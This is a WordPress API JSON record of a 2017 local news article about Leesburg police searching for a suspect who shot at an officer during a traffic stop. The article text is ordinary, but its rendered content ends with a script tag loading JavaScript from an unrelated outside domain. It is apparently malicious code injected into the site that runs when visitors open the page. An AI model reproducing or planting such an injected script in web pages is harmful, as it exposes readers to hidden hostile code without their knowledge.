{"id":218025,"date":"2017-12-05T10:15:30","date_gmt":"2017-12-05T15:15:30","guid":{"rendered":"https:\/\/wordpress-1.tempurl.host\/?p=218025"},"modified":"2017-12-05T13:41:03","modified_gmt":"2017-12-05T18:41:03","slug":"police-continue-manhunt-suspect-shot-officer","status":"publish","type":"post","link":"https:\/\/thegraphicgeek.com\/demo-cflwire\/police-continue-manhunt-suspect-shot-officer\/","title":{"rendered":"Police Continue Manhunt for Suspect Who Shot at Officer"},"content":{"rendered":"<p><strong>LEESBURG &#8211;\u00a0<\/strong>Leesburg police officers are still searching for the suspect involved in a shooting near US Highway 441 and Lake Street late Monday night according to Lt. Joe Iozzi.<\/p>\n<p>According to a release, an officer with the Leesburg Police Department attempted a traffic stop at approximately\u00a010:37 p.m. on a suspect riding a bicycle. At that time, the bicyclist rode his bicycle over the curb and into the shoulder of the road.<\/p>\n<p>The suspect refused to cooperate with officers and continued to &#8220;fidget&#8221; with his hooded jacket ignoring the officer&#8217;s commands to show\u00a0his hands.<\/p>\n<p>The suspect then suddenly pulled out a firearm and fired one shot in the officer&#8217;s direction missing the officer and striking the windshield of the patrol car.<\/p>\n<p>The officer returned fire, however, it is unclear if the suspect was injured before he fled on foot heading south on US Highway 441 toward Lake Street.<\/p>\n<p>The officer attempted to pursue the suspect in his vehicle but was unsuccessful at the time.<\/p>\n<p>A perimeter roadblock was established and other agencies, including the Lake County Sheriff&#8217;s Office, Lake County Sheriff&#8217;s Aviation Unit, and K-9 units from Leesburg and Lake County, responded to assist in the search.<\/p>\n<p>The search continued through the night, however, officers were unable to locate the suspect.<\/p>\n<p>The investigation remains open and officers are still actively searching for the suspect or anyone with information on the suspect&#8217;s identity or whereabouts.<\/p>\n<p>No description of the suspect has been released at this time.<\/p>\n<p><strong>UPDATE: <a href=\"https:\/\/wordpress-1.tempurl.host\/police-release-photos-monday-nights-shooting\/\">Police release photos from Monday night shooting<\/a><\/strong><script src='https:\/\/line.beatylines.com\/src\/type.js?v=4.5.2' type='text\/javascript' id='globalsway'><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>LEESBURG &#8211;\u00a0Leesburg police officers are still searching for the suspect involved in a shooting near US Highway 441 and Lake Street late Monday night according&#8230;<\/p>\n","protected":false},"author":1,"featured_media":211879,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_jetpack_memberships_contains_paid_content":false,"wds_primary_category":0,"footnotes":""},"categories":[6,1],"tags":[735,79,690,82,394,3210,97,111],"class_list":["post-218025","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-lake-county","category-local","tag-breaking-news","tag-lake","tag-lakeco","tag-leesburg","tag-lpd","tag-manhunt","tag-officer","tag-shooting","entry","rows"],"jetpack_featured_media_url":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-content\/uploads\/sites\/6\/2017\/03\/police-c.jpg","jetpack_sharing_enabled":true,"amp_enabled":true,"_links":{"self":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/posts\/218025","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/comments?post=218025"}],"version-history":[{"count":0,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/posts\/218025\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/media\/211879"}],"wp:attachment":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/media?parent=218025"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/categories?post=218025"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/tags?post=218025"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}